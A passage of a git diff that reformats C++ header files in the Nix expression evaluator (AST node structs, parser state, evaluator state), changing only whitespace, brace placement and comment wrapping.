std::string_view errorCtx, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + std::pair coerceToSingleDerivedPathUnchecked( + const PosIdx pos, + Value & v, + std::string_view errorCtx, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); /** * Coerce to `SingleDerivedPath`. @@ -625,7 +655,13 @@ public: /** * Internal primops not exposed to the user. */ - std::unordered_map, std::equal_to, traceable_allocator>> internalPrimOps; + std::unordered_map< + std::string, + Value *, + std::hash, + std::equal_to, + traceable_allocator>> + internalPrimOps; /** * Name and documentation about every constant. @@ -699,7 +735,8 @@ private: std::shared_ptr & staticEnv); /** - * Current Nix call stack depth, used with `max-call-depth` setting to throw stack overflow hopefully before we run out of system stack. + * Current Nix call stack depth, used with `max-call-depth` setting to throw stack overflow hopefully before we run + * out of system stack. */ size_t callDepth = 0; @@ -762,7 +799,7 @@ public: /** * Return a boolean `Value *` without allocating. */ - Value *getBool(bool b); + Value * getBool(bool b); void mkThunk_(Value & v, Expr * expr); void mkPos(Value & v, PosIdx pos); @@ -806,9 +843,7 @@ public: * * A combination of `mkStorePathString` and `mkOutputString`. */ - void mkSingleDerivedPathString( - const SingleDerivedPath & p, - Value & v); + void mkSingleDerivedPathString(const SingleDerivedPath & p, Value & v); void concatLists(Value & v, size_t nrLists, Value * const * lists, const PosIdx pos, std::string_view errorCtx); @@ -839,22 +874,22 @@ public: * @param[out] maybePaths if not nullptr, all built or referenced store paths will be added to this set * @return a mapping from the placeholders used to construct the associated value to their final store path. */ - [[nodiscard]] StringMap realiseContext(const NixStringContext & context, StorePathSet * maybePaths = nullptr, bool isIFD = true); + [[nodiscard]] StringMap + realiseContext(const NixStringContext & context, StorePathSet * maybePaths = nullptr, bool isIFD = true); /** - * Realise the given string with context, and return the string with outputs instead of downstream output placeholders. + * Realise the given string with context, and return the string with outputs instead of downstream output + * placeholders. * @param[in] str the string to realise * @param[out] paths all referenced store paths will be added to this set * @return the realised string * @throw EvalError if the value is not a string, path or derivation (see `coerceToString`) */ - std::string realiseString(Value & str, StorePathSet * storePathsOutMaybe, bool isIFD = true, const PosIdx pos = noPos); + std::string + realiseString(Value & str, StorePathSet * storePathsOutMaybe, bool isIFD = true, const PosIdx pos = noPos); /* Call the binary path filter predicate used builtins.path etc. */ - bool callPathFilter( - Value * filterFun, - const SourcePath & path, - PosIdx pos); + bool callPathFilter(Value * filterFun, const SourcePath & path, PosIdx pos); DocComment getDocCommentForPos(PosIdx pos); @@ -873,8 +908,7 @@ private: * Like `mkSingleDerivedPathStringRaw` but just creates a raw string * Value, which would also have a string context. */ - std::string mkSingleDerivedPathStringRaw( - const SingleDerivedPath & p); + std::string mkSingleDerivedPathStringRaw(const SingleDerivedPath & p); unsigned long nrEnvs = 0; unsigned long nrValuesInEnvs = 0; @@ -911,15 +945,16 @@ private: friend struct ExprFloat; friend struct ExprPath; friend struct ExprSelect; - friend void prim_getAttr(EvalState & state, const PosIdx pos, Value * * args, Value & v); - friend void prim_match(EvalState & state, const PosIdx pos, Value * * args, Value & v); - friend void prim_split(EvalState & state, const PosIdx pos, Value * * args, Value & v); + friend void prim_getAttr(EvalState & state, const PosIdx pos, Value ** args, Value & v); + friend void prim_match(EvalState & state, const PosIdx pos, Value ** args, Value & v); + friend void prim_split(EvalState & state, const PosIdx pos, Value ** args, Value & v); friend struct Value; friend class ListBuilder; }; -struct DebugTraceStacker { +struct DebugTraceStacker +{ DebugTraceStacker(EvalState & evalState, DebugTrace t); ~DebugTraceStacker() { diff --git a/src/libexpr/include/nix/expr/gc-small-vector.hh b/src/libexpr/include/nix/expr/gc-small-vector.hh index ad4503de7..2d8627409 100644 --- a/src/libexpr/include/nix/expr/gc-small-vector.hh +++ b/src/libexpr/include/nix/expr/gc-small-vector.hh @@ -9,13 +9,13 @@ namespace nix { /** * A GC compatible vector that may used a reserved portion of `nItems` on the stack instead of allocating on the heap. */ -template +template using SmallVector = boost::container::small_vector>; /** * A vector of value pointers. See `SmallVector`. */ -template +template using SmallValueVector = SmallVector; /** @@ -23,7 +23,7 @@ using SmallValueVector = SmallVector; * * See also `SmallValueVector`. */ -template +template using SmallTemporaryValueVector = SmallVector; } diff --git a/src/libexpr/include/nix/expr/get-drvs.hh b/src/libexpr/include/nix/expr/get-drvs.hh index 0787c44a8..1bdcd3673 100644 --- a/src/libexpr/include/nix/expr/get-drvs.hh +++ b/src/libexpr/include/nix/expr/get-drvs.hh @@ -7,7 +7,6 @@ #include #include - namespace nix { /** @@ -33,7 +32,7 @@ private: */ bool failed = false; - const Bindings * attrs = nullptr, * meta = nullptr; + const Bindings *attrs = nullptr, *meta = nullptr; const Bindings * getMeta(); @@ -45,7 +44,8 @@ public: */ std::string attrPath; - PackageInfo(EvalState & state) : state(&state) { }; + PackageInfo(EvalState & state) + : state(&state) {}; PackageInfo(EvalState & state, std::string attrPath, const Bindings * attrs); PackageInfo(EvalState & state, ref store, const std::string & drvPathWithOutputs); @@ -74,28 +74,43 @@ public: MetaValue queryMetaInfo(EvalState & state, const string & name) const; */ - void setName(const std::string & s) { name = s; } - void setDrvPath(StorePath path) { drvPath = {{std::move(path)}}; } - void setOutPath(StorePath path) { outPath = {{std::move(path)}}; } + void setName(const std::string & s) + { + name = s; + } + void setDrvPath(StorePath path) + { + drvPath = {{std::move(path)}}; + } + void setOutPath(StorePath path) + { + outPath = {{std::move(path)}}; + } - void setFailed() { failed = true; }; - bool hasFailed() { return failed; }; + void setFailed() + { + failed = true; + }; + bool hasFailed() + { + return failed; + }; }; - typedef std::list> PackageInfos; - /** * If value `v` denotes a derivation, return a PackageInfo object * describing it. Otherwise return nothing. */ -std::optional getDerivation(EvalState & state, - Value & v, bool ignoreAssertionFailures); +std::optional getDerivation(EvalState & state, Value & v, bool ignoreAssertionFailures); -void getDerivations(EvalState & state, Value & v, const std::string & pathPrefix, - Bindings & autoArgs, PackageInfos & drvs, +void getDerivations( + EvalState & state, + Value & v, + const std::string & pathPrefix, + Bindings & autoArgs, + PackageInfos & drvs, bool ignoreAssertionFailures); - } diff --git a/src/libexpr/include/nix/expr/nixexpr.hh b/src/libexpr/include/nix/expr/nixexpr.hh index a5ce0fd89..685e5e665 100644 --- a/src/libexpr/include/nix/expr/nixexpr.hh +++ b/src/libexpr/include/nix/expr/nixexpr.hh @@ -19,7 +19,8 @@ struct StaticEnv; struct Value; /** - * A documentation comment, in the sense of [RFC 145](https://github.com/NixOS/rfcs/blob/master/rfcs/0145-doc-strings.md) + * A documentation comment, in the sense of [RFC + * 145](https://github.com/NixOS/rfcs/blob/master/rfcs/0145-doc-strings.md) * * Note that this does not implement the following: * - argument attribute names ("formals"): TBD @@ -34,7 +35,8 @@ struct Value; * `f: g: final: prev: <...>`. The parameters `final` and `prev` are part * of the overlay concept, while distracting from the function's purpose. */ -struct DocComment { +struct DocComment +{ /** * Start of the comment, including the opening, ie `/` and `**`. @@ -53,10 +55,12 @@ struct DocComment { * therefore baking optionality into it is also useful, to avoiding the memory * overhead of `std::optional`. */ - operator bool() const { return static_cast(begin); } + operator bool() const + { + return static_cast(begin); + } std::string getInnerText(const PosTable & positions) const; - }; /** @@ -66,52 +70,63 @@ struct AttrName { Symbol symbol; Expr * expr = nullptr; - AttrName(Symbol s) : symbol(s) {}; - AttrName(Expr * e) : expr(e) {}; + AttrName(Symbol s) + : symbol(s) {}; + AttrName(Expr * e) + : expr(e) {}; }; typedef std::vector AttrPath; std::string showAttrPath(const SymbolTable & symbols, const AttrPath & attrPath); - /* Abstract syntax of Nix expressions. */ struct Expr { - struct AstSymbols { + struct AstSymbols + { Symbol sub, lessThan, mul, div, or_, findFile, nixPath, body; }; - static unsigned long nrExprs; - Expr() { + Expr() + { nrExprs++; } - virtual ~Expr() { }; + virtual ~Expr() {}; virtual void show(const SymbolTable & symbols, std::ostream & str) const; virtual void bindVars(EvalState & es, const std::shared_ptr & env); virtual void eval(EvalState & state, Env & env, Value & v); virtual Value * maybeThunk(EvalState & state, Env & env); virtual void setName(Symbol name); - virtual void setDocComment(DocComment docComment) { }; - virtual PosIdx getPos() const { return noPos; } + virtual void setDocComment(DocComment docComment) {}; + virtual PosIdx getPos() const + { + return noPos; + } // These are temporary methods to be used only in parser.y - virtual void resetCursedOr() { }; - virtual void warnIfCursedOr(const SymbolTable & symbols, const PosTable & positions) { }; + virtual void resetCursedOr() {}; + virtual void warnIfCursedOr(const SymbolTable & symbols, const PosTable & positions) {}; }; -#define COMMON_METHODS \ +#define COMMON_METHODS \ void show(const SymbolTable & symbols, std::ostream & str) const override; \ - void eval(EvalState & state, Env & env, Value & v) override; \ + void eval(EvalState & state, Env & env, Value & v) override; \ void bindVars(EvalState & es, const std::shared_ptr & env) override; struct ExprInt : Expr { Value v; - ExprInt(NixInt n) { v.mkInt(n); }; - ExprInt(NixInt::Inner n) { v.mkInt(n); }; + ExprInt(NixInt n) + { + v.mkInt(n); + }; + ExprInt(NixInt::Inner n) + { + v.mkInt(n); + }; Value * maybeThunk(EvalState & state, Env & env) override; COMMON_METHODS }; @@ -119,7 +134,10 @@ struct ExprInt : Expr struct ExprFloat : Expr { Value v; - ExprFloat(NixFloat nf) { v.mkFloat(nf); }; + ExprFloat(NixFloat nf) + { + v.mkFloat(nf); + }; Value * maybeThunk(EvalState & state, Env & env) override; COMMON_METHODS }; @@ -128,7 +146,11 @@ struct ExprString : Expr { std::string s; Value v; - ExprString(std::string &&s) : s(std::move(s)) { v.mkString(this->s.data()); }; + ExprString(std::string && s) + : s(std::move(s)) + { + v.mkString(this->s.data()); + }; Value * maybeThunk(EvalState & state, Env & env) override; COMMON_METHODS }; @@ -138,7 +160,9 @@ struct ExprPath : Expr ref accessor; std::string s; Value v; - ExprPath(ref accessor, std::string s) : accessor(accessor), s(std::move(s)) + ExprPath(ref accessor, std::string s) + : accessor(accessor) + , s(std::move(s)) { v.mkPath(&*accessor, this->s.c_str()); } @@ -170,10 +194,16 @@ struct ExprVar : Expr Level level = 0; Displacement displ = 0; - ExprVar(Symbol name) : name(name) { }; - ExprVar(const PosIdx & pos, Symbol name) : pos(pos), name(name) { }; + ExprVar(Symbol name) + : name(name) {}; + ExprVar(const PosIdx & pos, Symbol name) + : pos(pos) + , name(name) {}; Value * maybeThunk(EvalState & state, Env & env) override; - PosIdx getPos() const override { return pos; } + PosIdx getPos() const override + { + return pos; + } COMMON_METHODS }; @@ -184,7 +214,8 @@ struct ExprVar : Expr */ struct ExprInheritFrom : ExprVar { - ExprInheritFrom(PosIdx pos, Displacement displ): ExprVar(pos, {}) + ExprInheritFrom(PosIdx pos, Displacement displ) + : ExprVar(pos, {}) { this->level = 0; this->displ = displ; @@ -197,11 +228,24 @@ struct ExprInheritFrom : ExprVar struct ExprSelect : Expr { PosIdx pos; - Expr * e, * def; + Expr *e, *def; AttrPath attrPath; - ExprSelect(const PosIdx & pos, Expr * e, AttrPath attrPath, Expr * def) : pos(pos), e(e), def(def), attrPath(std::move(attrPath)) { }; - ExprSelect(const PosIdx & pos, Expr * e, Symbol name) : pos(pos), e(e), def(0) { attrPath.push_back(AttrName(name)); }; - PosIdx getPos() const override { return pos; } + ExprSelect(const PosIdx & pos, Expr * e, AttrPath attrPath, Expr * def) + : pos(pos) + , e(e) + , def(def) + , attrPath(std::move(attrPath)) {}; + ExprSelect(const PosIdx & pos, Expr * e, Symbol name) + : pos(pos) + , e(e) + , def(0) + { + attrPath.push_back(AttrName(name)); + }; + PosIdx getPos() const override + { + return pos; + } /** * Evaluate the `a.b.c` part of `a.b.c.d`. This exists mostly for the purpose of :doc in the repl. @@ -209,7 +253,8 @@ struct ExprSelect : Expr * @param[out] attrs The attribute set that should contain the last attribute name (if it exists). * @return The last attribute name in `attrPath` * - * @note This does *not* evaluate the final attribute, and does not fail if that's the only attribute that does not exist. + * @note This does *not* evaluate the final attribute, and does not fail if that's the only attribute that does not + * exist. */ Symbol evalExceptFinalSelect(EvalState & state, Env & env, Value & attrs); @@ -220,8 +265,13 @@ struct ExprOpHasAttr : Expr { Expr * e; AttrPath attrPath; - ExprOpHasAttr(Expr * e, AttrPath attrPath) : e(e), attrPath(std::move(attrPath)) { }; - PosIdx getPos() const override { return e->getPos(); } + ExprOpHasAttr(Expr * e, AttrPath attrPath) + : e(e) + , attrPath(std::move(attrPath)) {}; + PosIdx getPos() const override + { + return e->getPos(); + } COMMON_METHODS }; @@ -229,7 +279,8 @@ struct ExprAttrs : Expr { bool recursive; PosIdx pos; - struct AttrDef { + struct AttrDef + { enum class Kind { /** `attr = expr;` */ Plain, @@ -244,8 +295,10 @@ struct ExprAttrs : Expr PosIdx pos; Displacement displ = 0; // displacement AttrDef(Expr * e, const PosIdx & pos, Kind kind = Kind::Plain) - : kind(kind), e(e), pos(pos) { }; - AttrDef() { }; + : kind(kind) + , e(e) + , pos(pos) {}; + AttrDef() {}; template const T & chooseByKind(const T & plain, const T & inherited, const T & inheritedFrom) const @@ -264,21 +317,29 @@ struct ExprAttrs : Expr typedef std::map AttrDefs; AttrDefs attrs; std::unique_ptr> inheritFromExprs; - struct DynamicAttrDef { - Expr * nameExpr, * valueExpr; + struct DynamicAttrDef + { + Expr *nameExpr, *valueExpr; PosIdx pos; DynamicAttrDef(Expr * nameExpr, Expr * valueExpr, const PosIdx & pos) - : nameExpr(nameExpr), valueExpr(valueExpr), pos(pos) { }; + : nameExpr(nameExpr) + , valueExpr(valueExpr) + , pos(pos) {}; }; typedef std::vector DynamicAttrDefs; DynamicAttrDefs dynamicAttrs; - ExprAttrs(const PosIdx &pos) : recursive(false), pos(pos) { }; - ExprAttrs() : recursive(false) { }; - PosIdx getPos() const override { return pos; } + ExprAttrs(const PosIdx & pos) + : recursive(false) + , pos(pos) {}; + ExprAttrs() + : recursive(false) {}; + PosIdx getPos() const override + { + return pos; + } COMMON_METHODS - std::shared_ptr bindInheritSources( - EvalState & es, const std::shared_ptr & env); + std::shared_ptr bindInheritSources(EvalState & es, const std::shared_ptr & env); Env * buildInheritFromEnv(EvalState & state, Env & up); void showBindings(const SymbolTable & symbols, std::ostream & str) const; }; @@ -286,7 +347,7 @@ struct ExprAttrs : Expr struct ExprList : Expr { std::vector elems; - ExprList() { }; + ExprList() {}; COMMON_METHODS Value * maybeThunk(EvalState & state, Env & env) override; @@ -311,19 +372,18 @@ struct Formals bool has(Symbol arg) const { - auto it = std::lower_bound(formals.begin(), formals.end(), arg, - [] (const Formal & f, const Symbol & sym) { return f.name < sym; }); + auto it = std::lower_bound( + formals.begin(), formals.end(), arg, [](const Formal & f, const Symbol & sym) { return f.name < sym; }); return it != formals.end() && it->name == arg; } std::vector lexicographicOrder(const SymbolTable & symbols) const { std::vector result(formals.begin(), formals.end()); - std::sort(result.begin(), result.end(), - [&] (const Formal & a, const Formal & b) { - std::string_view sa = symbols[a.name], sb = symbols[b.name]; - return sa < sb; - }); + std::sort(result.begin(), result.end(), [&](const Formal & a, const Formal & b) { + std::string_view sa = symbols[a.name], sb = symbols[b.name]; + return sa < sb; + }); return result; } }; @@ -338,17 +398,26 @@ struct ExprLambda : Expr DocComment docComment; ExprLambda(PosIdx pos, Symbol arg, Formals * formals, Expr * body) - : pos(pos), arg(arg), formals(formals), body(body) - { - }; + : pos(pos) + , arg(arg) + , formals(formals) + , body(body) {}; ExprLambda(PosIdx pos, Formals * formals, Expr * body) - : pos(pos), formals(formals), body(body) + : pos(pos) + , formals(formals) + , body(body) { } void setName(Symbol name) override; std::string showNamePos(const EvalState & state) const; - inline bool hasFormals() const { return formals != nullptr; } - PosIdx getPos() const override { return pos; } + inline bool hasFormals() const + { + return formals != nullptr; + } + PosIdx getPos() const override + { + return pos; + } virtual void setDocComment(DocComment docComment) override; COMMON_METHODS }; @@ -360,12 +429,23 @@ struct ExprCall : Expr PosIdx pos; std::optional cursedOrEndPos; // used during parsing to warn about https://github.com/NixOS/nix/issues/11118 ExprCall(const PosIdx & pos, Expr * fun, std::vector && args) - : fun(fun), args(args), pos(pos), cursedOrEndPos({}) - { } + : fun(fun) + , args(args) + , pos(pos) + , cursedOrEndPos({}) + { + } ExprCall(const PosIdx & pos, Expr * fun, std::vector && args, PosIdx && cursedOrEndPos) - : fun(fun), args(args), pos(pos), cursedOrEndPos(cursedOrEndPos) - { } - PosIdx getPos() const override { return pos; } + : fun(fun) + , args(args) + , pos(pos) + , cursedOrEndPos(cursedOrEndPos) + { + } + PosIdx getPos() const override + { + return pos; + } virtual void resetCursedOr() override; virtual void warnIfCursedOr(const SymbolTable & symbols, const PosTable & positions) override; COMMON_METHODS @@ -375,90 +455,132 @@ struct ExprLet : Expr { ExprAttrs * attrs; Expr * body; - ExprLet(ExprAttrs * attrs, Expr * body) : attrs(attrs), body(body) { }; + ExprLet(ExprAttrs * attrs, Expr * body) + : attrs(attrs) + , body(body) {}; COMMON_METHODS }; struct ExprWith : Expr { PosIdx pos; - Expr * attrs, * body; + Expr *attrs, *body; size_t prevWith; ExprWith * parentWith; - ExprWith(const PosIdx & pos, Expr * attrs, Expr * body) : pos(pos), attrs(attrs), body(body) { }; - PosIdx getPos() const override { return pos; } + ExprWith(const PosIdx & pos, Expr * attrs, Expr * body) + : pos(pos) + , attrs(attrs) + , body(body) {}; + PosIdx getPos() const override + { + return pos; + } COMMON_METHODS }; struct ExprIf : Expr { PosIdx pos; - Expr * cond, * then, * else_; - ExprIf(const PosIdx & pos, Expr * cond, Expr * then, Expr * else_) : pos(pos), cond(cond), then(then), else_(else_) { }; - PosIdx getPos() const override { return pos; } + Expr *cond, *then, *else_; + ExprIf(const PosIdx & pos, Expr * cond, Expr * then, Expr * else_) + : pos(pos) + , cond(cond) + , then(then) + , else_(else_) {}; + PosIdx getPos() const override + { + return pos; + } COMMON_METHODS }; struct ExprAssert : Expr { PosIdx pos; - Expr * cond, * body; - ExprAssert(const PosIdx & pos, Expr * cond, Expr * body) : pos(pos), cond(cond), body(body) { }; - PosIdx getPos() const override { return pos; } + Expr *cond, *body; + ExprAssert(const PosIdx & pos, Expr * cond, Expr * body) + : pos(pos) + , cond(cond) + , body(body) {}; + PosIdx getPos() const override + { + return pos; + } COMMON_METHODS }; struct ExprOpNot : Expr { Expr * e; - ExprOpNot(Expr * e) : e(e) { }; - PosIdx getPos() const override { return e->getPos(); } + ExprOpNot(Expr * e) + : e(e) {}; + PosIdx getPos() const override + { + return e->getPos(); + } COMMON_METHODS }; -#define MakeBinOp(name, s) \ - struct name : Expr \ - { \ - PosIdx pos; \ - Expr * e1, * e2; \ - name(Expr * e1, Expr * e2) : e1(e1), e2(e2) { }; \ - name(const PosIdx & pos, Expr * e1, Expr * e2) : pos(pos), e1(e1), e2(e2) { }; \ - void show(const SymbolTable & symbols, std::ostream & str) const override \ - { \ - str << "("; e1->show(symbols, str); str << " " s " "; e2->show(symbols, str); str << ")"; \ - } \ +#define MakeBinOp(name, s) \ + struct name : Expr \ + { \ + PosIdx pos; \ + Expr *e1, *e2; \ + name(Expr * e1, Expr * e2) \ + : e1(e1) \ + , e2(e2) {}; \ + name(const PosIdx & pos, Expr * e1, Expr * e2) \ + : pos(pos) \ + , e1(e1) \ + , e2(e2) {}; \ + void show(const SymbolTable & symbols, std::ostream & str) const override \ + { \ + str << "("; \ + e1->show(symbols, str); \ + str << " " s " "; \ + e2->show(symbols, str); \ + str << ")"; \ + } \ void bindVars(EvalState & es, const std::shared_ptr & env) override \ - { \ - e1->bindVars(es, env); e2->bindVars(es, env); \ - } \ - void eval(EvalState & state, Env & env, Value & v) override; \ - PosIdx getPos() const override { return pos; } \ + { \ + e1->bindVars(es, env); \ + e2->bindVars(es, env); \ + } \ + void eval(EvalState & state, Env & env, Value & v) override; \ + PosIdx getPos() const override \ + { \ + return pos; \ + } \ }; -MakeBinOp(ExprOpEq, "==") -MakeBinOp(ExprOpNEq, "!=") -MakeBinOp(ExprOpAnd, "&&") -MakeBinOp(ExprOpOr, "||") -MakeBinOp(ExprOpImpl, "->") -MakeBinOp(ExprOpUpdate, "//") -MakeBinOp(ExprOpConcatLists, "++") +MakeBinOp(ExprOpEq, "==") MakeBinOp(ExprOpNEq, "!=") MakeBinOp(ExprOpAnd, "&&") MakeBinOp(ExprOpOr, "||") + MakeBinOp(ExprOpImpl, "->") MakeBinOp(ExprOpUpdate, "//") MakeBinOp(ExprOpConcatLists, "++") -struct ExprConcatStrings : Expr + struct ExprConcatStrings : Expr { PosIdx pos; bool forceString; std::vector> * es; ExprConcatStrings(const PosIdx & pos, bool forceString, std::vector> * es) - : pos(pos), forceString(forceString), es(es) { }; - PosIdx getPos() const override { return pos; } + : pos(pos) + , forceString(forceString) + , es(es) {}; + PosIdx getPos() const override + { + return pos; + } COMMON_METHODS }; struct ExprPos : Expr { PosIdx pos; - ExprPos(const PosIdx & pos) : pos(pos) { }; - PosIdx getPos() const override { return pos; } + ExprPos(const PosIdx & pos) + : pos(pos) {}; + PosIdx getPos() const override + { + return pos; + } COMMON_METHODS }; @@ -473,7 +595,6 @@ struct ExprBlackHole : Expr extern ExprBlackHole eBlackHole; - /* Static environments are used to map variable names onto (level, displacement) pairs used to obtain the value of the variable at runtime. */ @@ -495,8 +616,9 @@ struct StaticEnv void sort() { - std::stable_sort(vars.begin(), vars.end(), - [](const Vars::value_type & a, const Vars::value_type & b) { return a.first < b.first; }); + std::stable_sort(vars.begin(), vars.end(), [](const Vars::value_type & a, const Vars::value_type & b) { + return a.first < b.first; + }); } void deduplicate() @@ -504,7 +626,8 @@ struct StaticEnv auto it = vars.begin(), jt = it, end = vars.end(); while (jt != end) { *it = *jt++; - while (jt != end && it->first == jt->first) *it = *jt++; + while (jt != end && it->first == jt->first) + *it = *jt++; it++; } vars.erase(it, end); @@ -514,10 +637,10 @@ struct StaticEnv { Vars::value_type key(name, 0); auto i = std::lower_bound(vars.begin(), vars.end(), key); - if (i != vars.end() && i->first == name) return i; + if (i != vars.end() && i->first == name) + return i; return vars.end(); } }; - } diff --git a/src/libexpr/include/nix/expr/parser-state.hh b/src/libexpr/include/nix/expr/parser-state.hh index 0505913d0..59b8f8255 100644 --- a/src/libexpr/include/nix/expr/parser-state.hh +++ b/src/libexpr/include/nix/expr/parser-state.hh @@ -17,7 +17,10 @@ struct StringToken const char * p; size_t l; bool hasIndentation; - operator std::string_view() const { return {p, l}; } + operator std::string_view() const + { + return {p, l}; + } }; // This type must be trivially copyable; see YYLTYPE_IS_TRIVIAL in parser.y. @@ -29,12 +32,14 @@ struct ParserLocation // backup to recover from yyless(0) int stashedBeginOffset, stashedEndOffset; - void stash() { + void stash() + { stashedBeginOffset = beginOffset; stashedEndOffset = endOffset; } - void unstash() { + void unstash() + { beginOffset = stashedBeginOffset; endOffset = stashedEndOffset; } @@ -87,32 +92,30 @@ struct ParserState void dupAttr(const AttrPath & attrPath, const PosIdx pos, const PosIdx prevPos); void dupAttr(Symbol attr, const PosIdx pos, const PosIdx prevPos); - void addAttr(ExprAttrs * attrs, AttrPath && attrPath, const ParserLocation & loc, Expr * e, const ParserLocation & exprLoc); + void addAttr( + ExprAttrs * attrs, AttrPath && attrPath, const ParserLocation & loc, Expr * e, const ParserLocation & exprLoc); void addAttr(ExprAttrs * attrs, AttrPath & attrPath, const Symbol & symbol, ExprAttrs::AttrDef && def); Formals * validateFormals(Formals * formals, PosIdx pos = noPos, Symbol arg = {}); - Expr * stripIndentation(const PosIdx pos, - std::vector>> && es); + Expr * stripIndentation(const PosIdx pos, std::vector>> && es); PosIdx at(const ParserLocation & loc); }; inline void ParserState::dupAttr(const AttrPath & attrPath, const PosIdx pos, const PosIdx prevPos) { - throw ParseError({ - .msg = HintFmt("attribute '%1%' already defined at %2%", - showAttrPath(symbols, attrPath), positions[prevPos]), - .pos = positions[pos] - }); + throw ParseError( + {.msg = HintFmt("attribute '%1%' already defined at %2%", showAttrPath(symbols, attrPath), positions[prevPos]), + .pos = positions[pos]}); } inline void ParserState::dupAttr(Symbol attr, const PosIdx pos, const PosIdx prevPos) { - throw ParseError({ - .msg = HintFmt("attribute '%1%' already defined at %2%", symbols[attr], positions[prevPos]), - .pos = positions[pos] - }); + throw ParseError( + {.msg = HintFmt("attribute '%1%' already defined at %2%", symbols[attr], positions[prevPos]), + .pos = positions[pos]}); } -inline void ParserState::addAttr(ExprAttrs * attrs, AttrPath && attrPath, const ParserLocation & loc, Expr * e, const ParserLocation & exprLoc) +inline void ParserState::addAttr( + ExprAttrs * attrs, AttrPath && attrPath, const ParserLocation & loc, Expr * e, const ParserLocation & exprLoc) { AttrPath::iterator i; // All attrpaths have at least one attr @@ -159,7 +162,8 @@ inline void ParserState::addAttr(ExprAttrs * attrs, AttrPath && attrPath, const * Precondition: attrPath is used for error messages and should already contain * symbol as its last element. */ -inline void ParserState::addAttr(ExprAttrs * attrs, AttrPath & attrPath, const Symbol & symbol, ExprAttrs::AttrDef && def) +inline void +ParserState::addAttr(ExprAttrs * attrs, AttrPath & attrPath, const Symbol & symbol, ExprAttrs::AttrDef && def) { ExprAttrs::AttrDefs::iterator j = attrs->attrs.find(symbol); if (j != attrs->attrs.end()) { @@ -189,12 +193,14 @@ inline void ParserState::addAttr(ExprAttrs * attrs, AttrPath & attrPath, const S attrPath.pop_back(); } ae->attrs.clear(); - jAttrs->dynamicAttrs.insert(jAttrs->dynamicAttrs.end(), + jAttrs->dynamicAttrs.insert( + jAttrs->dynamicAttrs.end(), std::make_move_iterator(ae->dynamicAttrs.begin()), std::make_move_iterator(ae->dynamicAttrs.end())); ae->dynamicAttrs.clear(); if (ae->inheritFromExprs) { - jAttrs->inheritFromExprs->insert(jAttrs->inheritFromExprs->end(), + jAttrs->inheritFromExprs->insert( + jAttrs->inheritFromExprs->end(), std::make_move_iterator(ae->inheritFromExprs->begin()), std::make_move_iterator(ae->inheritFromExprs->end())); ae->inheritFromExprs = nullptr; @@ -211,10 +217,9 @@ inline void ParserState::addAttr(ExprAttrs * attrs, AttrPath & attrPath, const S inline Formals * ParserState::validateFormals(Formals * formals, PosIdx pos, Symbol arg) { - std::sort(formals->formals.begin(), formals->formals.end(), - [] (const auto & a, const auto & b) { - return std::tie(a.name, a.pos) < std::tie(b.name, b.pos); - }); + std::sort(formals->formals.begin(), formals->formals.end(), [](const auto & a, const auto & b) { + return std::tie(a.name, a.pos) < std::tie(b.name, b.pos); + }); std::optional> duplicate; for (size_t i = 0; i + 1 < formals->formals.size(); i++) { @@ -224,24 +229,22 @@ inline Formals * ParserState::validateFormals(Formals * formals, PosIdx pos, Sym duplicate = std::min(thisDup, duplicate.value_or(thisDup)); } if (duplicate) - throw ParseError({ - .msg = HintFmt("duplicate formal function argument '%1%'", symbols[duplicate->first]), - .pos = positions[duplicate->second] - }); + throw ParseError( + {.msg = HintFmt("duplicate formal function argument '%1%'", symbols[duplicate->first]), + .pos = positions[duplicate->second]}); if (arg && formals->has(arg)) - throw ParseError({ - .msg = HintFmt("duplicate formal function argument '%1%'", symbols[arg]), - .pos = positions[pos] - }); + throw ParseError( + {.msg = HintFmt("duplicate formal function argument '%1%'", symbols[arg]), .pos = positions[pos]}); return formals; } -inline Expr * ParserState::stripIndentation(const PosIdx pos, - std::vector>> && es) +inline Expr * +ParserState::stripIndentation(const PosIdx pos, std::vector>> && es) { - if (es.empty()) return new ExprString(""); + if (es.empty()) + return new ExprString(""); /* Figure out the minimum indentation. Note that by design whitespace-only final lines are not taken into account. (So @@ -255,7 +258,8 @@ inline Expr * ParserState::stripIndentation(const PosIdx pos, /* Anti-quotations and escaped characters end the current start-of-line whitespace. */ if (atStartOfLine) { atStartOfLine = false; - if (curIndent < minIndent) minIndent = curIndent; + if (curIndent < minIndent) + minIndent = curIndent; } continue; } @@ -269,7 +273,8 @@ inline Expr * ParserState::stripIndentation(const PosIdx pos, curIndent = 0; } else { atStartOfLine = false; - if (curIndent < minIndent) minIndent = curIndent; + if (curIndent < minIndent) + minIndent = curIndent; } } else if (str->p[j] == '\n') { atStartOfLine = true; @@ -284,20 +289,19 @@ inline Expr * ParserState::stripIndentation(const PosIdx pos, size_t curDropped = 0; size_t n = es.size(); auto i = es.begin(); - const auto trimExpr = [&] (Expr * e) { + const auto trimExpr = [&](Expr * e) { atStartOfLine = false; curDropped = 0; es2->emplace_back(i->first, e); }; - const auto trimString = [&] (const StringToken & t) { + const auto trimString = [&](const StringToken & t) { std::string s2; for (size_t j = 0; j < t.l; ++j) { if (atStartOfLine) { if (t.p[j] == ' ') { if (curDropped++ >= minIndent) s2 += t.p[j]; - } - else if (t.p[j] == '\n') { + } else if (t.p[j] == '\n') { curDropped = 0; s2 += t.p[j]; } else { @@ -307,7 +311,8 @@ inline Expr * ParserState::stripIndentation(const PosIdx pos, } } else { s2 += t.p[j]; - if (t.p[j] == '\n') atStartOfLine = true; + if (t.p[j] == '\n') + atStartOfLine = true; } } @@ -325,20 +330,20 @@ inline Expr * ParserState::stripIndentation(const PosIdx pos, } }; for (; i != es.end(); ++i, --n) { - std::visit(overloaded { trimExpr, trimString }, i->second); + std::visit(overloaded{trimExpr, trimString}, i->second); } // If there is nothing at all, return the empty string directly. // This also ensures that equivalent empty strings result in the same ast, which is helpful when testing formatters. if (es2->size() == 0) { - auto *const result = new ExprString(""); + auto * const result = new ExprString(""); delete es2; return result; } /* If this is a single string, then don't do a concatenation. */ if (es2->size() == 1 && dynamic_cast((*es2)[0].second)) { - auto *const result = (*es2)[0].second; + auto * const result = (*es2)[0].second; delete es2; return result; } diff --git a/src/libexpr/include/nix/expr/primops.hh b/src/libexpr/include/nix/expr/primops.hh index f0742a138..797ef887e 100644 --- a/src/libexpr/include/nix/expr/primops.hh +++ b/src/libexpr/include/nix/expr/primops.hh @@ -44,12 +44,12 @@ struct RegisterPrimOp /** * Load a ValueInitializer from a DSO and return whatever it initializes */ -void 